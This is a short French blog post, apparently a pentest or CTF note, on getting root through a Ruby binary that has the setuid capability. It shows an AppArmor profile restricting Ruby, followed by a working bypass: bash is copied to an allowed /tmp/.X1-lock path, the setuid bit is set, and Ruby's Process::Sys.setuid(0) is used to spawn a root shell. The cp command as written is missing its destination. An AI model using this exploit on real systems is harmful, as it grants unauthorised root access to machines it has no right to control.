Obtenir le compte administrateur avec Ruby

On se rend compte avec linPEAS que Ruby a les capabilities setuid

On peut facilement obtenir le compte de l’administrateur.

Si Ruby a été protégé avec apparmor pour ne pouvoir exécuter que quelques utilitaires et avoir accès qu’à certains fichiers

#include <tunables/global>

/usr/bin/ruby2.5 {
  #include <abstractions/base>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /etc/passwd r,
  /bin/cat mrix,
  /bin/cp mrix,
  /bin/ls mrix,
  /usr/bin/whoami mrix,
  /tmp/.X[0-9]*-lock rw,
  /lib/x86_64-linux-gnu/ld-*.so mr,
  /usr/bin/ruby2.5 mr,
  /usr/share/rubygems-integration/all/specifications/ r,
  /usr/share/rubygems-integration/all/specifications/did_you_mean-1.2.0.gemspec r,
  /{usr/,}lib{,32,64}/** mr,

}

Nous avons accès aux commandes cat, cp et ls comme administrateur et au fichier /tmp/.X1-lock, /tmp/.X2-lock, etc…


cp /bin/bash
cd /tmp
chmod +s /tmp/.X1-lock
ruby -e 'Process::Sys.setuid(0); exec "cp --preserve=mode /tmp/.X1-lock /tmp/.X2-lock"'
./.X2-lock -p

Leave a Reply